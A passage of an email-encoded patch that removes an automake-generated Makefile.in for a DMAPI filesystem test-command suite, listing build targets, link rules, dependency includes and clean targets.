obj_ref_hold.c \ -=09obj_ref_query.c obj_ref_rele.c path_to_fshandle.c \ -=09path_to_handle.c pending.c print_event.c print_fshandle.c \ -=09probe_hole.c probe_punch_xfsctl_hole.c punch_hole.c \ -=09query_right.c randomize_file.c release_right.c remove_dmattr.c \ -=09request_right.c respond_event.c rwt.c set_disp.c set_dmattr.c \ -=09set_eventlist.c set_fileattr.c struct_test.c sync_by_handle.c \ -=09test_assumption.c upgrade_right.c -ETAGS =3D etags -CTAGS =3D ctags -DISTFILES =3D $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST) -ACLOCAL =3D @ACLOCAL@ -AMDEP_FALSE =3D @AMDEP_FALSE@ -AMDEP_TRUE =3D @AMDEP_TRUE@ -AMTAR =3D @AMTAR@ -AR =3D @AR@ -AUTOCONF =3D @AUTOCONF@ -AUTOHEADER =3D @AUTOHEADER@ -AUTOMAKE =3D @AUTOMAKE@ -AWK =3D @AWK@ -CC =3D @CC@ -CCDEPMODE =3D @CCDEPMODE@ -CFLAGS =3D @CFLAGS@ -CPP =3D @CPP@ -CPPFLAGS =3D @CPPFLAGS@ -CXX =3D @CXX@ -CXXCPP =3D @CXXCPP@ -CXXDEPMODE =3D @CXXDEPMODE@ -CXXFLAGS =3D @CXXFLAGS@ -CYGPATH_W =3D @CYGPATH_W@ -DEFS =3D @DEFS@ -DEPDIR =3D @DEPDIR@ -ECHO =3D @ECHO@ -ECHO_C =3D @ECHO_C@ -ECHO_N =3D @ECHO_N@ -ECHO_T =3D @ECHO_T@ -EGREP =3D @EGREP@ -EXEEXT =3D @EXEEXT@ -F77 =3D @F77@ -FFLAGS =3D @FFLAGS@ -INSTALL_DATA =3D @INSTALL_DATA@ -INSTALL_PROGRAM =3D @INSTALL_PROGRAM@ -INSTALL_SCRIPT =3D @INSTALL_SCRIPT@ -INSTALL_STRIP_PROGRAM =3D @INSTALL_STRIP_PROGRAM@ -LDFLAGS =3D @LDFLAGS@ -LIBOBJS =3D @LIBOBJS@ -LIBS =3D @LIBS@ -LIBTOOL =3D @LIBTOOL@ -LN_S =3D @LN_S@ -LTLIBOBJS =3D @LTLIBOBJS@ -MAKEINFO =3D @MAKEINFO@ -OBJEXT =3D @OBJEXT@ -PACKAGE =3D @PACKAGE@ -PACKAGE_BUGREPORT =3D @PACKAGE_BUGREPORT@ -PACKAGE_NAME =3D @PACKAGE_NAME@ -PACKAGE_STRING =3D @PACKAGE_STRING@ -PACKAGE_TARNAME =3D @PACKAGE_TARNAME@ -PACKAGE_VERSION =3D @PACKAGE_VERSION@ -PATH_SEPARATOR =3D @PATH_SEPARATOR@ -RANLIB =3D @RANLIB@ -SET_MAKE =3D @SET_MAKE@ -SHELL =3D @SHELL@ -STRIP =3D @STRIP@ -VERSION =3D @VERSION@ -ac_ct_AR =3D @ac_ct_AR@ -ac_ct_CC =3D @ac_ct_CC@ -ac_ct_CXX =3D @ac_ct_CXX@ -ac_ct_F77 =3D @ac_ct_F77@ -ac_ct_RANLIB =3D @ac_ct_RANLIB@ -ac_ct_STRIP =3D @ac_ct_STRIP@ -am__fastdepCC_FALSE =3D @am__fastdepCC_FALSE@ -am__fastdepCC_TRUE =3D @am__fastdepCC_TRUE@ -am__fastdepCXX_FALSE =3D @am__fastdepCXX_FALSE@ -am__fastdepCXX_TRUE =3D @am__fastdepCXX_TRUE@ -am__include =3D @am__include@ -am__leading_dot =3D @am__leading_dot@ -am__quote =3D @am__quote@ -am__tar =3D @am__tar@ -am__untar =3D @am__untar@ -bindir =3D @bindir@ -build =3D @build@ -build_alias =3D @build_alias@ -build_cpu =3D @build_cpu@ -build_os =3D @build_os@ -build_vendor =3D @build_vendor@ -datadir =3D @datadir@ -exec_prefix =3D @exec_prefix@ -host =3D @host@ -host_alias =3D @host_alias@ -host_cpu =3D @host_cpu@ -host_os =3D @host_os@ -host_vendor =3D @host_vendor@ -includedir =3D @includedir@ -infodir =3D @infodir@ -install_sh =3D @install_sh@ -libdir =3D @libdir@ -libexecdir =3D @libexecdir@ -localstatedir =3D @localstatedir@ -mandir =3D @mandir@ -mkdir_p =3D @mkdir_p@ -oldincludedir =3D @oldincludedir@ -prefix =3D @prefix@ -program_transform_name =3D @program_transform_name@ -sbindir =3D @sbindir@ -sharedstatedir =3D @sharedstatedir@ -sysconfdir =3D @sysconfdir@ -target_alias =3D @target_alias@ - -# things needing -ldm -lhandle -ldmtest -DM_TARGS =3D \ -=09test_assumption \ -=09get_eventlist \ -=09set_eventlist \ -=09set_disp \ -=09get_region \ -=09get_dmattr \ -=09set_dmattr \ -=09remove_dmattr \ -=09probe_hole \ -=09probe_punch_xfsctl_hole \ -=09punch_hole \ -=09get_fileattr \ -=09sync_by_handle \ -=09getall_dmattr \ -=09set_fileattr \ -=09path_to_handle \ -=09path_to_fshandle \ -=09get_mountinfo \ -=09getall_disp \ -=09get_events \ -=09dm_handle \ -=09handle_to_fshandle \ -=09get_config_events \ -=09get_allocinfo \ -=09create_userevent \ -=09request_right \ -=09release_right \ -=09upgrade_right \ -=09query_right \ -=09downgrade_right \ -=09obj_ref_hold \ -=09obj_ref_rele \ -=09obj_ref_query \ -=09print_event \ -=09get_dirattrs - - -# things needing -ldm -lhandle -NT_TARGS =3D \ -=09fd_to_handle \ -=09handle_to_path \ -=09init_service \ -=09pending \ -=09print_fshandle \ -=09respond_event - - -# things needing -ldm -ldmtest -NTDM_TARGS =3D \ -=09make_sparse \ -=09randomize_file \ -=09rwt \ -=09struct_test - -LDADD =3D $(top_builddir)/src/common/lib/libdmtest.la -all: all-am - -.SUFFIXES: -.SUFFIXES: .c .lo .o .obj -$(srcdir)/Makefile.in: $(srcdir)/Makefile.am $(am__configure_deps) -=09@for dep in $?; do \ -=09 case '$(am__configure_deps)' in \ -=09 *$$dep*) \ -=09 cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh \ -=09=09&& exit 0; \ -=09 exit 1;; \ -=09 esac; \ -=09done; \ -=09echo ' cd $(top_srcdir) && $(AUTOMAKE) --gnu src/suite1/cmd/Makefi= le'; \ -=09cd $(top_srcdir) && \ -=09 $(AUTOMAKE) --gnu src/suite1/cmd/Makefile -.PRECIOUS: Makefile -Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status -=09@case '$?' in \ -=09 *config.status*) \ -=09 cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh;; \ -=09 *) \ -=09 echo ' cd $(top_builddir) && $(SHELL) ./config.status $(subdir)= /$@ $(am__depfiles_maybe)'; \ -=09 cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(a= m__depfiles_maybe);; \ -=09esac; - -$(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS= _DEPENDENCIES) -=09cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh - -$(top_srcdir)/configure: $(am__configure_deps) -=09cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh -$(ACLOCAL_M4): $(am__aclocal_m4_deps) -=09cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh -install-binPROGRAMS: $(bin_PROGRAMS) -=09@$(NORMAL_INSTALL) -=09test -z "$(bindir)" || $(mkdir_p) "$(DESTDIR)$(bindir)" -=09@list=3D'$(bin_PROGRAMS)'; for p in $$list; do \ -=09 p1=3D`echo $$p|sed 's/$(EXEEXT)$$//'`; \ -=09 if test -f $$p \ -=09 || test -f $$p1 \ -=09 ; then \ -=09 f=3D`echo "$$p1" | sed 's,^.*/,,;$(transform);s/$$/$(EXEEXT)/'`= ; \ -=09 echo " $(INSTALL_PROGRAM_ENV) $(LIBTOOL) --mode=3Dinstall $(binP= ROGRAMS_INSTALL) '$$p' '$(DESTDIR)$(bindir)/$$f'"; \ -=09 $(INSTALL_PROGRAM_ENV) $(LIBTOOL) --mode=3Dinstall $(binPROGRAMS= _INSTALL) "$$p" "$(DESTDIR)$(bindir)/$$f" || exit 1; \ -=09 else :; fi; \ -=09done - -uninstall-binPROGRAMS: -=09@$(NORMAL_UNINSTALL) -=09@list=3D'$(bin_PROGRAMS)'; for p in $$list; do \ -=09 f=3D`echo "$$p" | sed 's,^.*/,,;s/$(EXEEXT)$$//;$(transform);s/$$= /$(EXEEXT)/'`; \ -=09 echo " rm -f '$(DESTDIR)$(bindir)/$$f'"; \ -=09 rm -f "$(DESTDIR)$(bindir)/$$f"; \ -=09done - -clean-binPROGRAMS: -=09@list=3D'$(bin_PROGRAMS)'; for p in $$list; do \ -=09 f=3D`echo $$p|sed 's/$(EXEEXT)$$//'`; \ -=09 echo " rm -f $$p $$f"; \ -=09 rm -f $$p $$f ; \ -=09done -create_userevent$(EXEEXT): $(create_userevent_OBJECTS) $(create_userev= ent_DEPENDENCIES)=20 -=09@rm -f create_userevent$(EXEEXT) -=09$(LINK) $(create_userevent_LDFLAGS) $(create_userevent_OBJECTS) $(c= reate_userevent_LDADD) $(LIBS) -dm_handle$(EXEEXT): $(dm_handle_OBJECTS) $(dm_handle_DEPENDENCIES)=20 -=09@rm -f dm_handle$(EXEEXT) -=09$(LINK) $(dm_handle_LDFLAGS) $(dm_handle_OBJECTS) $(dm_handle_LDADD= ) $(LIBS) -downgrade_right$(EXEEXT): $(downgrade_right_OBJECTS) $(downgrade_right= _DEPENDENCIES)=20 -=09@rm -f downgrade_right$(EXEEXT) -=09$(LINK) $(downgrade_right_LDFLAGS) $(downgrade_right_OBJECTS) $(dow= ngrade_right_LDADD) $(LIBS) -fd_to_handle$(EXEEXT): $(fd_to_handle_OBJECTS) $(fd_to_handle_DEPENDEN= CIES)=20 -=09@rm -f fd_to_handle$(EXEEXT) -=09$(LINK) $(fd_to_handle_LDFLAGS) $(fd_to_handle_OBJECTS) $(fd_to_han= dle_LDADD) $(LIBS) -get_allocinfo$(EXEEXT): $(get_allocinfo_OBJECTS) $(get_allocinfo_DEPEN= DENCIES)=20 -=09@rm -f get_allocinfo$(EXEEXT) -=09$(LINK) $(get_allocinfo_LDFLAGS) $(get_allocinfo_OBJECTS) $(get_all= ocinfo_LDADD) $(LIBS) -get_config_events$(EXEEXT): $(get_config_events_OBJECTS) $(get_config_= events_DEPENDENCIES)=20 -=09@rm -f get_config_events$(EXEEXT) -=09$(LINK) $(get_config_events_LDFLAGS) $(get_config_events_OBJECTS) $= (get_config_events_LDADD) $(LIBS) -get_dirattrs$(EXEEXT): $(get_dirattrs_OBJECTS) $(get_dirattrs_DEPENDEN= CIES)=20 -=09@rm -f get_dirattrs$(EXEEXT) -=09$(LINK) $(get_dirattrs_LDFLAGS) $(get_dirattrs_OBJECTS) $(get_dirat= trs_LDADD) $(LIBS) -get_dmattr$(EXEEXT): $(get_dmattr_OBJECTS) $(get_dmattr_DEPENDENCIES)= =20 -=09@rm -f get_dmattr$(EXEEXT) -=09$(LINK) $(get_dmattr_LDFLAGS) $(get_dmattr_OBJECTS) $(get_dmattr_LD= ADD) $(LIBS) -get_eventlist$(EXEEXT): $(get_eventlist_OBJECTS) $(get_eventlist_DEPEN= DENCIES)=20 -=09@rm -f get_eventlist$(EXEEXT) -=09$(LINK) $(get_eventlist_LDFLAGS) $(get_eventlist_OBJECTS) $(get_eve= ntlist_LDADD) $(LIBS) -get_events$(EXEEXT): $(get_events_OBJECTS) $(get_events_DEPENDENCIES)= =20 -=09@rm -f get_events$(EXEEXT) -=09$(LINK) $(get_events_LDFLAGS) $(get_events_OBJECTS) $(get_events_LD= ADD) $(LIBS) -get_fileattr$(EXEEXT): $(get_fileattr_OBJECTS) $(get_fileattr_DEPENDEN= CIES)=20 -=09@rm -f get_fileattr$(EXEEXT) -=09$(LINK) $(get_fileattr_LDFLAGS) $(get_fileattr_OBJECTS) $(get_filea= ttr_LDADD) $(LIBS) -get_mountinfo$(EXEEXT): $(get_mountinfo_OBJECTS) $(get_mountinfo_DEPEN= DENCIES)=20 -=09@rm -f get_mountinfo$(EXEEXT) -=09$(LINK) $(get_mountinfo_LDFLAGS) $(get_mountinfo_OBJECTS) $(get_mou= ntinfo_LDADD) $(LIBS) -get_region$(EXEEXT): $(get_region_OBJECTS) $(get_region_DEPENDENCIES)= =20 -=09@rm -f get_region$(EXEEXT) -=09$(LINK) $(get_region_LDFLAGS) $(get_region_OBJECTS) $(get_region_LD= ADD) $(LIBS) -getall_disp$(EXEEXT): $(getall_disp_OBJECTS) $(getall_disp_DEPENDENCIE= S)=20 -=09@rm -f getall_disp$(EXEEXT) -=09$(LINK) $(getall_disp_LDFLAGS) $(getall_disp_OBJECTS) $(getall_disp= _LDADD) $(LIBS) -getall_dmattr$(EXEEXT): $(getall_dmattr_OBJECTS) $(getall_dmattr_DEPEN= DENCIES)=20 -=09@rm -f getall_dmattr$(EXEEXT) -=09$(LINK) $(getall_dmattr_LDFLAGS) $(getall_dmattr_OBJECTS) $(getall_= dmattr_LDADD) $(LIBS) -handle_to_fshandle$(EXEEXT): $(handle_to_fshandle_OBJECTS) $(handle_to= _fshandle_DEPENDENCIES)=20 -=09@rm -f handle_to_fshandle$(EXEEXT) -=09$(LINK) $(handle_to_fshandle_LDFLAGS) $(handle_to_fshandle_OBJECTS)= $(handle_to_fshandle_LDADD) $(LIBS) -handle_to_path$(EXEEXT): $(handle_to_path_OBJECTS) $(handle_to_path_DE= PENDENCIES)=20 -=09@rm -f handle_to_path$(EXEEXT) -=09$(LINK) $(handle_to_path_LDFLAGS) $(handle_to_path_OBJECTS) $(handl= e_to_path_LDADD) $(LIBS) -init_service$(EXEEXT): $(init_service_OBJECTS) $(init_service_DEPENDEN= CIES)=20 -=09@rm -f init_service$(EXEEXT) -=09$(LINK) $(init_service_LDFLAGS) $(init_service_OBJECTS) $(init_serv= ice_LDADD) $(LIBS) -link_test$(EXEEXT): $(link_test_OBJECTS) $(link_test_DEPENDENCIES)=20 -=09@rm -f link_test$(EXEEXT) -=09$(LINK) $(link_test_LDFLAGS) $(link_test_OBJECTS) $(link_test_LDADD= ) $(LIBS) -make_sparse$(EXEEXT): $(make_sparse_OBJECTS) $(make_sparse_DEPENDENCIE= S)=20 -=09@rm -f make_sparse$(EXEEXT) -=09$(LINK) $(make_sparse_LDFLAGS) $(make_sparse_OBJECTS) $(make_sparse= _LDADD) $(LIBS) -obj_ref_hold$(EXEEXT): $(obj_ref_hold_OBJECTS) $(obj_ref_hold_DEPENDEN= CIES)=20 -=09@rm -f obj_ref_hold$(EXEEXT) -=09$(LINK) $(obj_ref_hold_LDFLAGS) $(obj_ref_hold_OBJECTS) $(obj_ref_h= old_LDADD) $(LIBS) -obj_ref_query$(EXEEXT): $(obj_ref_query_OBJECTS) $(obj_ref_query_DEPEN= DENCIES)=20 -=09@rm -f obj_ref_query$(EXEEXT) -=09$(LINK) $(obj_ref_query_LDFLAGS) $(obj_ref_query_OBJECTS) $(obj_ref= _query_LDADD) $(LIBS) -obj_ref_rele$(EXEEXT): $(obj_ref_rele_OBJECTS) $(obj_ref_rele_DEPENDEN= CIES)=20 -=09@rm -f obj_ref_rele$(EXEEXT) -=09$(LINK) $(obj_ref_rele_LDFLAGS) $(obj_ref_rele_OBJECTS) $(obj_ref_r= ele_LDADD) $(LIBS) -path_to_fshandle$(EXEEXT): $(path_to_fshandle_OBJECTS) $(path_to_fshan= dle_DEPENDENCIES)=20 -=09@rm -f path_to_fshandle$(EXEEXT) -=09$(LINK) $(path_to_fshandle_LDFLAGS) $(path_to_fshandle_OBJECTS) $(p= ath_to_fshandle_LDADD) $(LIBS) -path_to_handle$(EXEEXT): $(path_to_handle_OBJECTS) $(path_to_handle_DE= PENDENCIES)=20 -=09@rm -f path_to_handle$(EXEEXT) -=09$(LINK) $(path_to_handle_LDFLAGS) $(path_to_handle_OBJECTS) $(path_= to_handle_LDADD) $(LIBS) -pending$(EXEEXT): $(pending_OBJECTS) $(pending_DEPENDENCIES)=20 -=09@rm -f pending$(EXEEXT) -=09$(LINK) $(pending_LDFLAGS) $(pending_OBJECTS) $(pending_LDADD) $(LI= BS) -print_event$(EXEEXT): $(print_event_OBJECTS) $(print_event_DEPENDENCIE= S)=20 -=09@rm -f print_event$(EXEEXT) -=09$(LINK) $(print_event_LDFLAGS) $(print_event_OBJECTS) $(print_event= _LDADD) $(LIBS) -print_fshandle$(EXEEXT): $(print_fshandle_OBJECTS) $(print_fshandle_DE= PENDENCIES)=20 -=09@rm -f print_fshandle$(EXEEXT) -=09$(LINK) $(print_fshandle_LDFLAGS) $(print_fshandle_OBJECTS) $(print= _fshandle_LDADD) $(LIBS) -probe_hole$(EXEEXT): $(probe_hole_OBJECTS) $(probe_hole_DEPENDENCIES)= =20 -=09@rm -f probe_hole$(EXEEXT) -=09$(LINK) $(probe_hole_LDFLAGS) $(probe_hole_OBJECTS) $(probe_hole_LD= ADD) $(LIBS) -probe_punch_xfsctl_hole$(EXEEXT): $(probe_punch_xfsctl_hole_OBJECTS) $= (probe_punch_xfsctl_hole_DEPENDENCIES)=20 -=09@rm -f probe_punch_xfsctl_hole$(EXEEXT) -=09$(LINK) $(probe_punch_xfsctl_hole_LDFLAGS) $(probe_punch_xfsctl_hol= e_OBJECTS) $(probe_punch_xfsctl_hole_LDADD) $(LIBS) -punch_hole$(EXEEXT): $(punch_hole_OBJECTS) $(punch_hole_DEPENDENCIES)= =20 -=09@rm -f punch_hole$(EXEEXT) -=09$(LINK) $(punch_hole_LDFLAGS) $(punch_hole_OBJECTS) $(punch_hole_LD= ADD) $(LIBS) -query_right$(EXEEXT): $(query_right_OBJECTS) $(query_right_DEPENDENCIE= S)=20 -=09@rm -f query_right$(EXEEXT) -=09$(LINK) $(query_right_LDFLAGS) $(query_right_OBJECTS) $(query_right= _LDADD) $(LIBS) -randomize_file$(EXEEXT): $(randomize_file_OBJECTS) $(randomize_file_DE= PENDENCIES)=20 -=09@rm -f randomize_file$(EXEEXT) -=09$(LINK) $(randomize_file_LDFLAGS) $(randomize_file_OBJECTS) $(rando= mize_file_LDADD) $(LIBS) -release_right$(EXEEXT): $(release_right_OBJECTS) $(release_right_DEPEN= DENCIES)=20 -=09@rm -f release_right$(EXEEXT) -=09$(LINK) $(release_right_LDFLAGS) $(release_right_OBJECTS) $(release= _right_LDADD) $(LIBS) -remove_dmattr$(EXEEXT): $(remove_dmattr_OBJECTS) $(remove_dmattr_DEPEN= DENCIES)=20 -=09@rm -f remove_dmattr$(EXEEXT) -=09$(LINK) $(remove_dmattr_LDFLAGS) $(remove_dmattr_OBJECTS) $(remove_= dmattr_LDADD) $(LIBS) -request_right$(EXEEXT): $(request_right_OBJECTS) $(request_right_DEPEN= DENCIES)=20 -=09@rm -f request_right$(EXEEXT) -=09$(LINK) $(request_right_LDFLAGS) $(request_right_OBJECTS) $(request= _right_LDADD) $(LIBS) -respond_event$(EXEEXT): $(respond_event_OBJECTS) $(respond_event_DEPEN= DENCIES)=20 -=09@rm -f respond_event$(EXEEXT) -=09$(LINK) $(respond_event_LDFLAGS) $(respond_event_OBJECTS) $(respond= _event_LDADD) $(LIBS) -rwt$(EXEEXT): $(rwt_OBJECTS) $(rwt_DEPENDENCIES)=20 -=09@rm -f rwt$(EXEEXT) -=09$(LINK) $(rwt_LDFLAGS) $(rwt_OBJECTS) $(rwt_LDADD) $(LIBS) -set_disp$(EXEEXT): $(set_disp_OBJECTS) $(set_disp_DEPENDENCIES)=20 -=09@rm -f set_disp$(EXEEXT) -=09$(LINK) $(set_disp_LDFLAGS) $(set_disp_OBJECTS) $(set_disp_LDADD) $= (LIBS) -set_dmattr$(EXEEXT): $(set_dmattr_OBJECTS) $(set_dmattr_DEPENDENCIES)= =20 -=09@rm -f set_dmattr$(EXEEXT) -=09$(LINK) $(set_dmattr_LDFLAGS) $(set_dmattr_OBJECTS) $(set_dmattr_LD= ADD) $(LIBS) -set_eventlist$(EXEEXT): $(set_eventlist_OBJECTS) $(set_eventlist_DEPEN= DENCIES)=20 -=09@rm -f set_eventlist$(EXEEXT) -=09$(LINK) $(set_eventlist_LDFLAGS) $(set_eventlist_OBJECTS) $(set_eve= ntlist_LDADD) $(LIBS) -set_fileattr$(EXEEXT): $(set_fileattr_OBJECTS) $(set_fileattr_DEPENDEN= CIES)=20 -=09@rm -f set_fileattr$(EXEEXT) -=09$(LINK) $(set_fileattr_LDFLAGS) $(set_fileattr_OBJECTS) $(set_filea= ttr_LDADD) $(LIBS) -struct_test$(EXEEXT): $(struct_test_OBJECTS) $(struct_test_DEPENDENCIE= S)=20 -=09@rm -f struct_test$(EXEEXT) -=09$(LINK) $(struct_test_LDFLAGS) $(struct_test_OBJECTS) $(struct_test= _LDADD) $(LIBS) -sync_by_handle$(EXEEXT): $(sync_by_handle_OBJECTS) $(sync_by_handle_DE= PENDENCIES)=20 -=09@rm -f sync_by_handle$(EXEEXT) -=09$(LINK) $(sync_by_handle_LDFLAGS) $(sync_by_handle_OBJECTS) $(sync_= by_handle_LDADD) $(LIBS) -test_assumption$(EXEEXT): $(test_assumption_OBJECTS) $(test_assumption= _DEPENDENCIES)=20 -=09@rm -f test_assumption$(EXEEXT) -=09$(LINK) $(test_assumption_LDFLAGS) $(test_assumption_OBJECTS) $(tes= t_assumption_LDADD) $(LIBS) -upgrade_right$(EXEEXT): $(upgrade_right_OBJECTS) $(upgrade_right_DEPEN= DENCIES)=20 -=09@rm -f upgrade_right$(EXEEXT) -=09$(LINK) $(upgrade_right_LDFLAGS) $(upgrade_right_OBJECTS) $(upgrade= _right_LDADD) $(LIBS) - -mostlyclean-compile: -=09-rm -f *.$(OBJEXT) - -distclean-compile: -=09-rm -f *.tab.c - -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/create_userevent.Po@a= m__quote@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/dm_handle.Po@am__quot= e@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/downgrade_right.Po@am= __quote@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/fd_to_handle.Po@am__q= uote@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/get_allocinfo.Po@am__= quote@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/get_config_events.Po@= am__quote@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/get_dirattrs.Po@am__q= uote@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/get_dmattr.Po@am__quo= te@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/get_eventlist.Po@am__= quote@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/get_events.Po@am__quo= te@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/get_fileattr.Po@am__q= uote@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/get_mountinfo.Po@am__= quote@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/get_region.Po@am__quo= te@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/getall_disp.Po@am__qu= ote@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/getall_dmattr.Po@am__= quote@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/handle_to_fshandle.Po= @am__quote@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/handle_to_path.Po@am_= _quote@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/init_service.Po@am__q= uote@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/link_test.Po@am__quot= e@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/make_sparse.Po@am__qu= ote@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/obj_ref_hold.Po@am__q= uote@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/obj_ref_query.Po@am__= quote@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/obj_ref_rele.Po@am__q= uote@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/path_to_fshandle.Po@a= m__quote@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/path_to_handle.Po@am_= _quote@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/pending.Po@am__quote@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/print_event.Po@am__qu= ote@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/print_fshandle.Po@am_= _quote@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/probe_hole.Po@am__quo= te@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/probe_punch_xfsctl_ho= le.Po@am__quote@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/punch_hole.Po@am__quo= te@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/query_right.Po@am__qu= ote@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/randomize_file.Po@am_= _quote@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/release_right.Po@am__= quote@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/remove_dmattr.Po@am__= quote@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/request_right.Po@am__= quote@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/respond_event.Po@am__= quote@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/rwt.Po@am__quote@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/set_disp.Po@am__quote= @ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/set_dmattr.Po@am__quo= te@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/set_eventlist.Po@am__= quote@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/set_fileattr.Po@am__q= uote@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/struct_test.Po@am__qu= ote@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/sync_by_handle.Po@am_= _quote@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/test_assumption.Po@am= __quote@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/upgrade_right.Po@am__= quote@ - -.c.o: -@am__fastdepCC_TRUE@=09if $(COMPILE) -MT $@ -MD -MP -MF "$(DEPDIR)/$*.= Tpo" -c -o $@ $<; \ -@am__fastdepCC_TRUE@=09then mv -f "$(DEPDIR)/$*.Tpo" "$(DEPDIR)/$*.Po"= ; else rm -f "$(DEPDIR)/$*.Tpo"; exit 1; fi -@AMDEP_TRUE@@am__fastdepCC_FALSE@=09source=3D'$<' object=3D'$@' libtoo= l=3Dno @AMDEPBACKSLASH@ -@AMDEP_TRUE@@am__fastdepCC_FALSE@=09DEPDIR=3D$(DEPDIR) $(CCDEPMODE) $(= depcomp) @AMDEPBACKSLASH@ -@am__fastdepCC_FALSE@=09$(COMPILE) -c $< - -.c.obj: -@am__fastdepCC_TRUE@=09if $(COMPILE) -MT $@ -MD -MP -MF "$(DEPDIR)/$*.= Tpo" -c -o $@ `$(CYGPATH_W) '$<'`; \ -@am__fastdepCC_TRUE@=09then mv -f "$(DEPDIR)/$*.Tpo" "$(DEPDIR)/$*.Po"= ; else rm -f "$(DEPDIR)/$*.Tpo"; exit 1; fi -@AMDEP_TRUE@@am__fastdepCC_FALSE@=09source=3D'$<' object=3D'$@' libtoo= l=3Dno @AMDEPBACKSLASH@ -@AMDEP_TRUE@@am__fastdepCC_FALSE@=09DEPDIR=3D$(DEPDIR) $(CCDEPMODE) $(= depcomp) @AMDEPBACKSLASH@ -@am__fastdepCC_FALSE@=09$(COMPILE) -c `$(CYGPATH_W) '$<'` - -.c.lo: -@am__fastdepCC_TRUE@=09if $(LTCOMPILE) -MT $@ -MD -MP -MF "$(DEPDIR)/$= *.Tpo" -c -o $@ $<; \ -@am__fastdepCC_TRUE@=09then mv -f "$(DEPDIR)/$*.Tpo" "$(DEPDIR)/$*.Plo= "; else rm -f "$(DEPDIR)/$*.Tpo"; exit 1; fi -@AMDEP_TRUE@@am__fastdepCC_FALSE@=09source=3D'$<' object=3D'$@' libtoo= l=3Dyes @AMDEPBACKSLASH@ -@AMDEP_TRUE@@am__fastdepCC_FALSE@=09DEPDIR=3D$(DEPDIR) $(CCDEPMODE) $(= depcomp) @AMDEPBACKSLASH@ -@am__fastdepCC_FALSE@=09$(LTCOMPILE) -c -o $@ $< - -mostlyclean-libtool: -=09-rm -f *.lo - -clean-libtool: -=09-rm -rf .libs _libs - -distclean-libtool: -=09-rm -f libtool -uninstall-info-am: - -ID: $(HEADERS) $(SOURCES) $(LISP) $(TAGS_FILES) -=09list=3D'$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \ -=09unique=3D`for i in $$list; do \ -=09 if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ -=09 done | \ -=09 $(AWK) ' { files[$$0] =3D 1; } \ -=09 END { for (i in files) print i; }'`; \ -=09mkid -fID $$unique -tags: TAGS - -TAGS: $(HEADERS) $(SOURCES) $(TAGS_DEPENDENCIES) \ -=09=09$(TAGS_FILES) $(LISP) -=09tags=3D; \ -=09here=3D`pwd`; \ -=09list=3D'$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \ -=09unique=3D`for i in $$list; do \ -=09 if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ -=09 done | \ -=09 $(AWK) ' { files[$$0] =3D 1; } \ -=09 END { for (i in 